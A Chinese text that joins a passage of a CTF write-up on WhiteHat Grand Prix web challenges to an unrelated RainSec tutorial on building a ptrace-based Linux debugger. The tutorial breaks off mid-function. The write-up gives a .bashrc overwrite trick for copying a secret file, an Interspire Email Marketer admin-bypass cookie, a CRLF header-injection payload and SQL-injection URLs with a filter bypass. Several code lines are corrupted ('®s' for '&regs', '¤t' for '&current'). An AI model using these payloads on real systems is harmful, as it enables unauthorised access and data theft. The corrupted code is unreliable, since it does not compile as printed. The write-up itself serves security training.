而bashrc与profile都用于保存用户的环境信息，bashrc用于non-loginshell，而profile用于login shell
所以这里`bashrc`可能可以成为一个突破口，因为该文件包含专用于某个用户的bash
shell的bash信息,当该用户登录时以及每次打开新的shell时,该文件被读取
所以，如果我们能将`.bashrc`写到用户的目录下，在其每分钟打开ssh的时候，就会执行里面的命令，那么我们只要
cp /var/secret /opt/skysky
即可在当前目录下读到flag
我们首先测试一下，home有没有写权限
显然`/home`目录是不行的，那我们如何知道用户名呢？
还是那个不起眼的题目描述
manhndd is running a service file upload at web01.grandprix.whitehatvn.com
难道这人叫`manhndd`?
我们再试试
发现的确可以成功上传
那我们尝试覆盖上传`.bashrc`
用burp一边上传竞争覆盖，一边访问skysky这个文件
一段时间后即可收到flag
## Interspire Email Marketer
### 题目信息
题目链接
http://web03.grandprix.whitehatvn.com:1337/
### 信息搜集
右键打开源代码，拉到最底下发现
<!--<label>@Buxu: Let's try to access admin page</label></br> -->
题目要求我们登入admin页面
按照这里题目给出的要出，我们输入
发现是404
那我们简单探测一下端口
如果端口开放
如果端口关闭
简单探测的结果为
发现8088有结果
应该是301跳转了，那我们加个index.php试试
保存成html页面，查看后发现
### 进一步思考
探测完端口，那么8088是什么服务的默认端口？还是说题目只是随便放在这个端口了？
若是，为什么不直接放在1337端口呢？
很快，我发现了自己的眼瞎= =
那页面里写着
Interspire Email Marketer
于是顺藤摸瓜搜了一下
没错，就是这个点非常瞩目
https://www.exploit-db.com/exploits/44513/
发现可以直接绕过admin的授权，即有这个cookie即可
IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D
那我们如何发送cookie呢？
### CRLF
这里的方案无意只有一点，即CRLF，因为path与host的拼接，这里很容易让人联想到能不能进行http头注入
于是我们简单构造为
{"url_path":"admin/index.php HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
访问发现
保存为html查看一下
我们成功登入了
到此为止，感到无奈
### sql注入
而后看到writeup，才知道
https://www.exploit-db.com/exploits/37935/
还有一个漏洞可以利用，即sql注入(但是据说是非预期= =)
CVE中给出的payload是这样的
http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi]
http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]
那我们仿照进行攻击即可
{"url_path":"admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
发现有过滤，于是我们还是老规矩，用字典fuzz一下
发现过滤的很少，考虑这里可能会对path进行urldecode，所以尝试了一下url编码绕过
union
%75nion
于是我们尝试
发现成功
注：由于有CVE，所以就不用测试列数了，就是4列
那我们去进行数据库探测，找到标志点
form_text" value="
方便后面我们取出数据,查看数据库名
查看表名
查看列名
读出数据
得到flag
WhiteHat{cbb66097f69c3938bfd4a157ab4ebe762a16c1b1}
## 参考链接
<https://github.com/reznok/CTFWriteUps/tree/master/> | 社区文章 |
**作者：RainSec
原文链接：<https://mp.weixin.qq.com/s/1Ip1Ho4uE_rcywjo3HnH8Q>**
## 前言
以经典的GDB为例其项目代码共有十几万行代码，但是很多情况下只会使用到几个常用功能：单步，断点，查看变量，线程/进程切换。而GDB基本上是依赖于`ptrace`系统调用，主要用于编写调试程序。大部分实现思路参考[Writing
a Linux Debugger Part 2: Breakpoints
(tartanllama.xyz)](https://blog.tartanllama.xyz/writing-a-linux-debugger-breakpoints/)系列文章，强烈推荐阅读
目标功能：
* 单步
* 断点
* 查看内存/寄存器
* 查看汇编
## ptrace 原理
先来看看ptrace系统调用的函数签名：
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
/*DESCRIPTION
The ptrace() system call provides a means by which one process (the
"tracer") may observe and control the execution of another process (the
"tracee"), and examine and change the tracee's memory and registers. It is
primarily used to implement breakpoint debugging and system call tracing.
即ptrace系统调用提供给tracer控制，读取，修改另一个进程(tracee)的能力，由此可以实现断点和系统调用追踪
A tracee first needs to be attached to the tracer. Attachment and subse‐
quent commands are per thread: in a multithreaded process, every thread can
be individually attached to a (potentially different) tracer, or left not
attached and thus not debugged. Therefore, "tracee" always means "(one)
thread", never "a (possibly multithreaded) process". Ptrace commands are
always sent to a specific tracee using a call of the form
即tracer通过ptrace进行附加(attach)和发送命令都是针对某一个线程的而不是进程
*/
* request：调试者( **tracer** )要执行的操作，常见的有PTRACE_TRACEME，PTRACE_ATTACH，PTRACE_PEEKUSER，PTRACE_SINGLESTEP等
* pid：被调试进程( **tracee** )pid
* addr：要读写的内存地址
* data：如果要向目标进程写入数据那么data就是我们数据地址；如果要读取目标进程数据那么data就是保留数据的地址
ptrace系统调用会根据不同的request完成不同功能如：
* PTRACE_TRACEME：表示此进程即将被父进程trace，此时其他参数被忽略
* PTRACE_PEEKTEXT, PTRACE_PEEKDATA：读取tracee在 **addr** (虚拟内存空间)处的一个字，返回值就是读取到的字
* PTRACE_PEEKUSER：读取tracee的 **USER area** ，其包含了该进程的寄存器以及其他信息
* PTRACE_POKETEXT, PTRACE_POKEDATA：复制 **data** 所指向的一个字到tracee的 **addr** (虚拟内存空间)处
* PTRACE_POKEUSER：复制data所指的一个字带tracee的 **USER area**
* PTRACE_GETREGS, PTRACE_GETFPREGS：复制 **tracee** 的`通用寄存器`或者`浮点寄存器`到 **tracer** 的 **data** 所指的位置，addr被忽略
* PTRACE_SETREGS, PTRACE_SETFPREGS：修改tracee的通用寄存器或者浮点寄存器
* PTRACE_CONT：运行被暂停的tracee进程。如果data参数非0那么就表示data是传给tracee的 **信号数值**
* PTRACE_SYSCALL, PTRACE_SINGLESTEP：运行被暂停的tracee进程就像PTRACE_CONT功能，不同的是PTRACE_SYSCALL表示运行到下一个系统调用(进入或返回)，PTRACE_SINGLESTEP表示仅运行一条指令便停止
以下是Linux-2.4.16内核的ptrace系统调用内部实现源码：
asmlinkage int sys_ptrace(long request, long pid, long addr, long data) //asmlinkage是指明该函数用堆栈来传递参数
{
struct task_struct *child;
struct user * dummy = NULL;
int i, ret;
lock_kernel();
ret = -EPERM;
if (request == PTRACE_TRACEME) { /*检查traced状态是否重复*/
/* are we already being traced? */
if (current->ptrace & PT_PTRACED)
goto out;
/* set the ptrace bit in the process flags. */
current->ptrace |= PT_PTRACED; //current指向当前进程(task_struct)，因此PTRACE_TRACEME将当前进程设置为PT_PTRACED状态(traced)即被trace者(tracee)
ret = 0;
goto out;
}
ret = -ESRCH;
read_lock(&tasklist_lock); //调度链表上读锁
child = find_task_by_pid(pid); //获取目标pid进程结构体(task_struct)
if (child)
get_task_struct(child);
read_unlock(&tasklist_lock);
if (!child)
goto out;
ret = -EPERM;
if (pid == 1) /* you may not mess with init */
goto out_tsk;
/*就像gdb有直接启动并调试一个程序和附加一个进程并调试两个功能，也是基于ptrace的PTRACE_ATTACH让目标进程处于traced状态*/
if (request == PTRACE_ATTACH) {
ret = ptrace_attach(child);
goto out_tsk;
}
...
/*这就是ptrace的主体，通过switch case和request完成，这里先了解部分*/
switch (request) {
/* when I and D space are separate, these will need to be fixed. */
/*PTRACE_PEEKTEXT，PTRACE_PEEKDATA功能相同都是从虚拟地址addr中读取数据到data指针中*/
case PTRACE_PEEKTEXT: /* read word at location addr. */
case PTRACE_PEEKDATA: {
unsigned long tmp;
int copied;
copied = access_process_vm(child, addr, &tmp, sizeof(tmp), 0);
ret = -EIO;
if (copied != sizeof(tmp))
break;
ret = put_user(tmp,(unsigned long *) data);
break;
}
/* read the word at location addr in the USER area. */
/*可以检查用户态内存区域(USER area),从USER区域中读取一个字节，偏移量为addr*/
case PTRACE_PEEKUSR: {
unsigned long tmp;
ret = -EIO;
if ((addr & 3) || addr < 0 ||
addr > sizeof(struct user) - 3)
break;
tmp = 0; /* Default return condition */
if(addr < FRAME_SIZE*sizeof(long))
tmp = getreg(child, addr);
if(addr >= (long) &dummy->u_debugreg[0] &&
addr <= (long) &dummy->u_debugreg[7]){
addr -= (long) &dummy->u_debugreg[0];
addr = addr >> 2;
tmp = child->thread.debugreg[addr];
}
ret = put_user(tmp,(unsigned long *) data);
break;
}
/* when I and D space are separate, this will have to be fixed. */
/*PTRACE_POKETEXT和PTRACE_POKEDATA功能相同都是向虚拟地址addr写入来自data的数据*/
case PTRACE_POKETEXT: /* write the word at location addr. */
case PTRACE_POKEDATA:
ret = 0;
if (access_process_vm(child, addr, &data, sizeof(data), 1) == sizeof(data))
break;
ret = -EIO;
break;
case PTRACE_POKEUSR: /* write the word at location addr in the USER area */
ret = -EIO;
if ((addr & 3) || addr < 0 ||
addr > sizeof(struct user) - 3)
break;
if (addr < FRAME_SIZE*sizeof(long)) {
ret = putreg(child, addr, data);
break;
}
/* We need to be very careful here. We implicitly
want to modify a portion of the task_struct, and we
have to be selective about what portions we allow someone
to modify. */
ret = -EIO;
if(addr >= (long) &dummy->u_debugreg[0] &&
addr <= (long) &dummy->u_debugreg[7]){
if(addr == (long) &dummy->u_debugreg[4]) break;
if(addr == (long) &dummy->u_debugreg[5]) break;
if(addr < (long) &dummy->u_debugreg[4] &&
((unsigned long) data) >= TASK_SIZE-3) break;
if(addr == (long) &dummy->u_debugreg[7]) {
data &= ~DR_CONTROL_RESERVED;
for(i=0; i<4; i++)
if ((0x5f54 >> ((data >> (16 + 4*i)) & 0xf)) & 1)
goto out_tsk;
}
addr -= (long) &dummy->u_debugreg;
addr = addr >> 2;
child->thread.debugreg[addr] = data;
ret = 0;
}
break;
/*都是让tracee继续运行，只是啥时候停止不同*/
case PTRACE_SYSCALL: /* continue and stop at next (return from) syscall */
case PTRACE_CONT: { /* restart after signal. */
long tmp;
ret = -EIO;
if ((unsigned long) data > _NSIG) //data为tracer传给tracee的信号数值，这里检查范围
break;
if (request == PTRACE_SYSCALL)
child->ptrace |= PT_TRACESYS; //设置PT_TRACESYS标志，为了在下一个系统调用处停止
else
child->ptrace &= ~PT_TRACESYS; //清除PT_TRACESYS标志，不停止
child->exit_code = data;
/* make sure the single step bit is not set. 清除EFLAGS的单步标志(Trap Flag)*/
tmp = get_stack_long(child, EFL_OFFSET) & ~TRAP_FLAG;
put_stack_long(child, EFL_OFFSET,tmp);
wake_up_process(child); //唤醒进程
ret = 0;
break;
}
/*
* make the child exit. Best I can do is send it a sigkill.
* perhaps it should be put in the status that it wants to
* exit.
*/
case PTRACE_KILL: {
long tmp;
ret = 0;
if (child->state == TASK_ZOMBIE) /* already dead */
break;
child->exit_code = SIGKILL;
/* make sure the single step bit is not set. */
tmp = get_stack_long(child, EFL_OFFSET) & ~TRAP_FLAG;
put_stack_long(child, EFL_OFFSET, tmp);
wake_up_process(child);
break;
}
/*设置单步运行很简单只需将eflags的Trap Flag置1即可*/
case PTRACE_SINGLESTEP: { /* set the trap flag. */
long tmp;
ret = -EIO;
if ((unsigned long) data > _NSIG)
break;
child->ptrace &= ~PT_TRACESYS;
if ((child->ptrace & PT_DTRACE) == 0) {
/* Spurious delayed TF traps may occur */
child->ptrace |= PT_DTRACE;
}
tmp = get_stack_long(child, EFL_OFFSET) | TRAP_FLAG; //Trap Flag置1
put_stack_long(child, EFL_OFFSET, tmp);
child->exit_code = data;
/* give it a chance to run. */
wake_up_process(child);
ret = 0;
break;
}
case PTRACE_DETACH:
/* detach a process that was attached. */
ret = ptrace_detach(child, data);
break;
/*读取所有通用寄存器值*/
case PTRACE_GETREGS: { /* Get all gp regs from the child. */
if (!access_ok(VERIFY_WRITE, (unsigned *)data, FRAME_SIZE*sizeof(long))) {
ret = -EIO;
break;
}
for ( i = 0; i < FRAME_SIZE*sizeof(long); i += sizeof(long) ) {
__put_user(getreg(child, i),(unsigned long *) data);
data += sizeof(long);
}
ret = 0;
break;
}
/*设置所有通用寄存器值*/
case PTRACE_SETREGS: { /* Set all gp regs in the child. */
unsigned long tmp;
if (!access_ok(VERIFY_READ, (unsigned *)data, FRAME_SIZE*sizeof(long))) {
ret = -EIO;
break;
}
for ( i = 0; i < FRAME_SIZE*sizeof(long); i += sizeof(long) ) {
__get_user(tmp, (unsigned long *) data);
putreg(child, i, tmp);
data += sizeof(long);
}
ret = 0;
break;
}
/*获取浮点寄存器值*/
case PTRACE_GETFPREGS: { /* Get the child FPU state. */
if (!access_ok(VERIFY_WRITE, (unsigned *)data,
sizeof(struct user_i387_struct))) {
ret = -EIO;
break;
}
ret = 0;
if ( !child->used_math ) {
/* Simulate an empty FPU. */
set_fpu_cwd(child, 0x037f);
set_fpu_swd(child, 0x0000);
set_fpu_twd(child, 0xffff);
}
get_fpregs((struct user_i387_struct *)data, child);
break;
}
/*设置浮点寄存器值*/
case PTRACE_SETFPREGS: { /* Set the child FPU state. */
if (!access_ok(VERIFY_READ, (unsigned *)data,
sizeof(struct user_i387_struct))) {
ret = -EIO;
break;
}
child->used_math = 1;
set_fpregs(child, (struct user_i387_struct *)data);
ret = 0;
break;
}
case PTRACE_GETFPXREGS: { /* Get the child extended FPU state. */
...
}
case PTRACE_SETFPXREGS: { /* Set the child extended FPU state. */
...
}
case PTRACE_SETOPTIONS: {
if (data & PTRACE_O_TRACESYSGOOD)
child->ptrace |= PT_TRACESYSGOOD;
else
child->ptrace &= ~PT_TRACESYSGOOD;
ret = 0;
break;
}
default:
ret = -EIO;
break;
}
out_tsk:
free_task_struct(child);
out:
unlock_kernel();
return ret;
}
注意这个函数`get_stack_long(proccess, offset)`：
/*
* this routine will get a word off of the processes privileged stack.
* the offset is how far from the base addr as stored in the TSS.
* this routine assumes that all the privileged stacks are in our
* data space.
*/
static inline int get_stack_long(struct task_struct *task, int offset)
{
unsigned char *stack;
stack = (unsigned char *)task->thread.esp0;
stack += offset;
return (*((int *)stack));
}
其中task->thread.esp0是堆栈指针，通用的寄存器在堆栈中按顺序排放，通过偏移量0ffset便可以依次读取
### PTRACE_TRACEME
当要调试一个进程时需要其进入被追踪状态(traced)，有两种方法进入该状态：
* 被调试进程 **主动** 调用`ptrace(PTRACE_TRACEME, ...)`进入traced状态
* 调试进程调用`ptrace(PTRACE_ATTACH, pid, ...)`来使指定进程进入
总之被调试进程必须进入traced状态才能进行调试，因为Linux会对处于traced状态的进程进行特殊操作。以第一种方式来说明：
if (request == PTRACE_TRACEME) {
/* are we already being traced? */
if (current->ptrace & PT_PTRACED)
goto out;
/* set the ptrace bit in the process flags. */
current->ptrace |= PT_PTRACED;
ret = 0;
goto out;
}
只是将当前进程标记为 **PT_PTRACED** 状态，但是如果该进程接下来进行 **execve** 系统调用去执行一个外部程序时会
**暂停当前进程** ，并且发送 **SIGCHLD** 信号给 **父进程** ，父进程接收到该信号时就可以对被调试进程进行调试。
**sys_execve() - > do_execve() -> load_elf_binary()：**
static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
...
if (current->ptrace & PT_PTRACED)
send_sig(SIGTRAP, current, 0);
...
}
对于处于traced状态的进程执行 **execve** 系统调用时会发送一个 **SIGTRAP给当前进程**
。这个信号将在`do_signal`函数处理：
int do_signal(struct pt_regs *regs, sigset_t *oldset)
{
for (;;) {
unsigned long signr;
spin_lock_irq(¤t->sigmask_lock);
signr = dequeue_signal(¤t->blocked, &info);
spin_unlock_irq(¤t->sigmask_lock);
// 如果进程被标记为 PTRACE 状态
if ((current->ptrace & PT_PTRACED) && signr != SIGKILL) { //除了SIGKILL信号，都将让tracee停止并通知tracer
/* 让调试器运行 */
current->exit_code = signr;
current->state = TASK_STOPPED; // 让自己进入停止运行状态
notify_parent(current, SIGCHLD); // 发送 SIGCHLD 信号给父进程表示子进程"死亡(被替换)"
schedule(); // 让出CPU的执行权限
...
}
}
}
所以调试器使用这种方式调试某个程序时大致例程为：
当父进程（调试进程）接收到 `SIGCHLD` 信号后，表示被调试进程已经标记为 **被追踪状态并且停止运行** ，那么调试进程就可以开始进行调试了。
### PTRACE_SINGLESTEP
单步运行是最为常用的，当把tracee设置为单步运行模式时，tracee每执行一条指令CPU都会停止然后向父进程发送一个 **SIGCHLD**
信号，在ptrace中实现是将eflags设置trap_flag标志位：
case PTRACE_SINGLESTEP: { /* set the trap flag. */
long tmp;
ret = -EIO;
if ((unsigned long) data > _NSIG)
break;
child->ptrace &= ~PT_TRACESYS;
if ((child->ptrace & PT_DTRACE) == 0) {
/* Spurious delayed TF traps may occur */
child->ptrace |= PT_DTRACE;
}
tmp = get_stack_long(child, EFL_OFFSET) | TRAP_FLAG;
put_stack_long(child, EFL_OFFSET, tmp);
child->exit_code = data;
/* give it a chance to run. */
wake_up_process(child);
ret = 0;
break;
}
能够这样做是基于X86 intel CPU提供一个硬件机制，就是当eflags的`Trap
Flag`置为1时，CPU每执行一条指令都会产生一个异常然后Linux异常处理机制进程处理，由此会发送一个 **SIGTRAP** 信号给
**tracee** ；核心是：
tmp = get_stack_long(child, EFL_OFFSET) | TRAP_FLAG;
put_stack_long(child, EFL_OFFSET, tmp);
1. 获取进程的 `eflags` 寄存器的值，并且设置 `Trap Flag` 标志。
2. 把新的值设置到进程的 `eflags` 寄存器中。
设置完寄存器后唤醒(wake_up_process)进程，让其进入运行状态：
同样的当tracee执行完一条指令获取 **SIGTRAP** 信号，在 **do_signal** 函数处理信号时，由于`current->ptrace
& PT_PTRACED`将停止执行并发送 **SIGCHLD**
信号给父进程tracer。父进程接收到SIGCHLD信号后就知道tracee停止，可以发送命令来读取或者修改tracee的内存数据或寄存器，或者通过调用
`ptrace(PTRACE_CONT, child,...)` 来让被调试进程进行运行等
## Debugger 基本功能实现
实现一个简单的debugger，大致模型如下：主程序fork一个子程序去执行待调试程序；然后主程序循环等待用户输入命令，停止主程序停止并等待输入命令的条件就是子程序停止，这会在
**首次execute一个程序** 发生，以及 **单步(PTRACE_SINGLESTEP)** 或者 **断点**
发生。子程序很简单只需要调用execute系统调用启动一个新程序即可
待实现的debugger有三个基本功能：单步，读写寄存器，读写内存。基于这三个功能再添加其他类似于gdb的功能。初始框架如下：
int main(int argc, char *argv[]){
if(argc < 2){
fprintf(stderr, "Expecting program name.\n");
return -1;
}
const char *name = argv[1];
pid_t pid = fork();
if(pid == 0){
//child process
//execute tracee
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(name, name, NULL, NULL);
}else if(pid > 0){
//parent process
//execute tracer
}else{
perror("fork.");
return -1;
}
return 0;
}
子程序部分很简单调用exec族函数即可。
### Parent
首先考虑使用一个结构体记录子进程的信息，然后父进程进入一个读取用户命令的循环，这里使用[linenoise](https://github.com/antirez/linenoise)开源项目实现命令补全，命令记录等功能当然还需要处理命令：
/**
* debugger uitls
*/
typedef struct Debugger{
const char *d_name;
int d_pid;
Breakpoint *d_brks; //记录断点
}Debugger;
void dbg_run(Debugger *dbg){
int wait_status;
char *cmd;
waitpid(dbg->d_pid, &wait_status, 0);
/*UI for start up*/
while((cmd = linenoise("minidbg$ ")) != NULL){
dbg_handle_command(dbg, cmd);
linenoiseHistoryAdd(cmd);
linenoiseFree(cmd);
}
}
使用Debugger结构体记录程序状态，主要是子程序pid和之后的断点信息；`linenoise("minidbg$
")`会打印`minidbg$`并等待输入，使用`dbg_handle_command`处理命令包括读写内存，寄存器，下断点等。`linenoiseHistoryAdd(cmd)`将命令添加到历史记录中
在`dbg_handle_command`函数中大致结构为：很方便添加新功能， **is_prefix** 辅助函数用于判断缩写指令
void dbg_handle_command(Debugger *dbg, char *cmd){
char *lcmd = strdup(cmd);
char *argv[8] = { 0 };
char *command;
argv[0] = strtok(lcmd, " ");
for(int i = 1; i < 8; i++){
argv[i] = strtok(NULL, " ");
if(argv[i] == NULL) break;
}
command = argv[0];
if(command == NULL) return;
if(is_prefix(command, "continue")){
/*do_command*/
}
else{
fprintf(stderr, "Unkown command: %s.\n", command);
}
return free(lcmd);
}
bool is_prefix(char *s, const char *ss){
if(s == NULL || ss == NULL) return false;
if(strlen(s) > strlen(ss)) return false;
return !strncmp(s, ss, strlen(s));
}
### 读写寄存器
一个非常基础的功能，基于`ptrace(PTRACE_GETREGS, ...)`和`ptrace(PTRACE_SETREGS,
...)`读写寄存器，为了保留寄存器信息在`**<sys/user.h>**`头文件中定义了如下结构体：
struct user_regs_struct
{
__extension__ unsigned long long int r15;
__extension__ unsigned long long int r14;
__extension__ unsigned long long int r13;
__extension__ unsigned long long int r12;
__extension__ unsigned long long int rbp;
__extension__ unsigned long long int rbx;
__extension__ unsigned long long int r11;
__extension__ unsigned long long int r10;
__extension__ unsigned long long int r9;
__extension__ unsigned long long int r8;
__extension__ unsigned long long int rax;
__extension__ unsigned long long int rcx;
__extension__ unsigned long long int rdx;
__extension__ unsigned long long int rsi;
__extension__ unsigned long long int rdi;
__extension__ unsigned long long int orig_rax;
__extension__ unsigned long long int rip;
__extension__ unsigned long long int cs;
__extension__ unsigned long long int eflags;
__extension__ unsigned long long int rsp;
__extension__ unsigned long long int ss;
__extension__ unsigned long long int fs_base;
__extension__ unsigned long long int gs_base;
__extension__ unsigned long long int ds;
__extension__ unsigned long long int es;
__extension__ unsigned long long int fs;
__extension__ unsigned long long int gs;
};
配合ptrace可以直接按照以上结构体读写寄存器，所以一次读写至少是所有通用寄存器。根据结构体排序定义了如下数据结构体来记录寄存器信息：
/*utils.h*/
enum reg{
en_rax, en_rbx, en_rcx, en_rdx,
en_rdi, en_rsi, en_rbp, en_rsp,
en_r8, en_r9, en_r10, en_r11,
en_r12, en_r13, en_r14, en_r15,
en_rip, en_rflags, en_cs,
en_orig_rax, en_fs_base,
en_gs_base,
en_fs, en_gs, en_ss, en_ds, en_es
};
struct reg_descriptor {
enum reg r;
char *name;
};
/*utils.c*/
const size_t n_regs = 27;
const struct reg_descriptor g_register_descriptors[] = {
{ en_r15, "r15" },
{ en_r14, "r14" },
{ en_r13, "r13" },
{ en_r12, "r12" },
{ en_rbp, "rbp" },
{ en_rbx, "rbx" },
{ en_r11, "r11" },
{ en_r10, "r10" },
{ en_r9, "r9" },
{ en_r8, "r8" },
{ en_rax, "rax" },
{ en_rcx, "rcx" },
{ en_rdx, "rdx" },
{ en_rsi, "rsi" },
{ en_rdi, "rdi" },
{ en_orig_rax, "orig_rax" },
{ en_rip, "rip" },
{ en_cs, "cs" },
{ en_rflags, "eflags" },
{ en_rsp, "rsp" },
{ en_ss, "ss" },
{ en_fs_base, "fs_base" },
{ en_gs_base, "gs_base" },
{ en_ds, "ds" },
{ en_es, "es" },
{ en_fs, "fs" },
{ en_gs, "gs" }
};
因为只能一次读写所有寄存器，因此要读写某个寄存器时先用ptrace把所有的读取出来在通过寄存器表查找 **g_register_descriptors**
，并且因为寄存器表和`struct user_regs_struct`结构体排序一致可以直接用表中的偏移读写结构体：
void set_register_value(pid_t pid, enum reg r, uint64_t value){
struct user_regs_struct regs;
int reg_descriptor_idx;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
/*locate reg_r`s index in user_regs_struct struct*/
reg_descriptor_idx = -1;
for(int i = 0; i < n_regs; i++){
if(g_register_descriptors[i].r == r){
reg_descriptor_idx = i;
break;
}
}
*(uint64_t *)((uint64_t *)®s + reg_descriptor_idx) = value;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
}
uint64_t get_register_value(pid_t pid, enum reg r){
struct user_regs_struct regs;
int reg_descriptor_idx;
uint64_t ret = 0;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
/*locate reg_r`s index in user_regs_struct struct*/
reg_descriptor_idx = -1;
for(int i = 0; i < n_regs; i++){
if(g_register_descriptors[i].r == r){
reg_descriptor_idx = i;
break;
}
}
if(reg_descriptor_idx != -1){
ret = *(uint64_t *)((uint64_t *)®s + reg_descriptor_idx);
return ret;
}
printf("[error] get_register_value(%d, %d)\n", pid, r);
return ret;
}
/*辅助函数*/
char *get_register_name(enum reg r){
for(int i = 0; i < n_regs; i++){
if(g_register_descriptors[i].r == r)
return g_register_descriptors[i].name;
}
return NULL;
}
enum reg get_register_from_name(char *name){
for(int i = 0; i < n_regs; i++){
if(!strcasecmp(name, g_register_descriptors[i].name)){
return g_register_descriptors[i].r;
}
}
return -1; /*-1 is impossible in reg_descriptor->r*/
}
#### 读写内存
读写内存和寄存器很类似，但使用ptrace一次性只能读写8字节(64位)：`ptrace(PTRACE_PEEKDATA, dbg->d_pid,
address, NULL)`需要提供子进程的虚拟内存地址(address)
uint64_t dbg_read_memory(Debugger *dbg, uint64_t address){
return ptrace(PTRACE_PEEKDATA, dbg->d_pid, address, NULL);
}
void dbg_write_memory(Debugger *dbg, uint64_t address, uint64_t value){
ptrace(PTRACE_POKEDATA, dbg->d_pid, address, value);
}
### 断点
断点其实有两种：硬断点和软断点。其中硬断点涉及到CPU架构数量有限比如x86结构提供4个硬件断点(断点寄存器)，但可以检测读写执行三种情况。而软断点通过在指定位置插入
**断点指令**
，然后程序运行到此处执行断点指令让debugger获取`SIGTRAP`信号并停止运行，因此软断点可以有无数个；这里主要实现软断点，如x86的断点指令为`int
3`(机器码 0xcc)，需要考虑断点插入，断点记录，触发断点后如何继续运行等
使用如下结构体存储断点信息：
/**
* breakpoints utils
*/
typedef struct Breakpoint{
int b_pid;
unsigned long b_addr; //map key
int b_enabled;
unsigned char b_saved_data; //需要保存插入0xcc位置的数据
UT_hash_handle hh;
}Breakpoint;
借助[uthash](\[troydhanson/uthash: C macros for hash tables and more
\(github.com\)\]\(https://github.com/troydhanson/uthash\))开源项目实现一个hash表来记录断点信息，只需在结构体中包含
**UT_hash_handle** 成员即可；其提供宏HASH_FIND_PTR：
#define HASH_FIND_PTR(head,findptr,out) HASH_FIND(hh,head,findptr,sizeof(void *),out)
可以通过结构体中的 **b_addr** 作为key，其表头在初始化`Debugger`结构体时设置为NULL即可：
Debugger dbg;
dbg.d_brks = NULL; /* important! initialize to NULL related to breakpoints` map*/
然后实现两个断点函数：brk_enable，brk_disable；分别进行插入断点和去除断点：
#include "utils.h"
void brk_enable(Breakpoint *bp){
unsigned long data = ptrace(PTRACE_PEEKDATA, bp->b_pid, bp->b_addr, 0);
bp->b_saved_data = data & 0xff; //save LSB
data = ((data & ~0xff) | INT3);
ptrace(PTRACE_POKEDATA, bp->b_pid, bp->b_addr, data);
bp->b_enabled = 1;
}
void brk_disable(Breakpoint *bp){
unsigned long data = ptrace(PTRACE_PEEKDATA, bp->b_pid, bp->b_addr, 0);
data = ((data & ~0xff) | bp->b_saved_data);
ptrace(PTRACE_POKEDATA, bp->b_pid, bp->b_addr, data);
bp->b_enabled = 0;
}
### 单步
单步运行时除了普通指令，需要考虑是否跳过函数调用( **call** )也就是需要 **步过**
的情况，还有如果当前为断点处单步时需要格外的断点处理。基于`ptrace(PTRACE_SINGLESTEP,
...)`单步步入时需要考虑两种情况，涉及断点；其他非断点情况直接`PTRACE_SINGLESTEP`单步运行即可
* pc刚好触发一个断点，即执行了`0xcc`
* pc即将触发一个断点
使用如下函数处理单步命令：
/*we can show UI here*/
void dbg_step_in(Debugger *dbg){
uint64_t possible_pc = get_pc(dbg) - 1; /*if this is breakpoint int 3 executed*/
Breakpoint *bp = NULL;
HASH_FIND_PTR(dbg->d_brks, &possible_pc, bp);
if(bp != NULL && bp->b_enabled){
/*step over breakpoint*/
brk_disable(bp);
set_pc(dbg, possible_pc);
ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
brk_enable(bp);
}else{
ptrace(PTRACE_SINGLESTEP, dbg->d_pid, NULL, NULL);
wait_for_signal(dbg);
}
show_UI(dbg);
}
但是后来发现一个bug：当断点设置在一个单机器码的指令处时(如 push rbp
0x55)，以上逻辑会陷入死循环，因为每次单步时都会检测`pc-1`是否为断点；所以得想办法面对单机器码断点的情况避免该逻辑，不可能把所有单机器码指令全列出来然后比对，所以这里使用反编译引擎
**capstone**
。如果pc-1是个断点那么先判断pc-1处的指令长度是否为1，如果是那么设置一个静态flag表示已经步过一个单机器码的断点下一次单步时不再考虑pc-1：
/**
* This function invoked in situation:
* 1.PTRACE_SINGLESTEP the current instruction which maybe inserted a breakpoint OR maybe not
* 2.already triggered a breakpoint(0xcc) PTRACE_SINGLESTEP the broken instruction
* we can show UI here
*/
void dbg_step_in(Debugger *dbg){
static bool one_machine_code_flag = false;
uint64_t possible_pc, data;
Breakpoint *bp = NULL;
csh handle = 0;
cs_insn* insn;
size_t count;
int child_status;
if(!one_machine_code_flag){
possible_pc = get_pc(dbg) - 1; /*if this is breakpoint int 3 executed*/
HASH_FIND_PTR(dbg->d_brks, &possible_pc, bp);
if(bp != NULL && bp->b_enabled){
brk_disable(bp);
/*check for single machine code instruction*/
data = ptrace(PTRACE_PEEKDATA, dbg->d_pid, possible_pc, NULL);
if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
printf("[error]: Failed to initialize capstone engine!\n");
exit(-1);
}
cs_disasm(handle, (unsigned char*)&data, 8, 0x1000, 1, &insn);
if(insn->size == 1){
one_machine_code_flag = true;
}else{
one_machine_code_flag = false;
}
set_pc(dbg, possible_pc);
